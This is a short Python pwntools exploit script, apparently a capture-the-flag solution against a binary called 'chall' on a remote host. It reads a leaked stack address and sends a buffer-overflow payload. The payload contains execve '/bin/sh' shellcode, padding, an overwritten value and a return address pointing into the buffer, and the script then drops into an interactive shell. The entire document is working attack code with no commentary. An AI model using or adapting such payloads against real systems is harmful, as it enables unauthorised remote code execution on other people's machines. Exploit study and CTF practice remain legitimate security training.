```python
from pwn import *
context.binary='./chall'
# p = process('./chall')

p = remote('34.72.218.129',3333)
p.recvuntil('detected:\n')

buf = int(p.recvline().strip(),16)

print hex(buf)
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

p.recvuntil('action:\n')

payload = p32(0)
payload += shellcode
payload = payload.ljust(40,'\x01')
payload += p32(0)+p64(0x90908E69)
payload = payload.ljust(0x48,'\x90')
payload += p64(buf+4)

print hex(len(payload))

# gdb.attach(p)
p.sendline(payload)

p.interactive()

````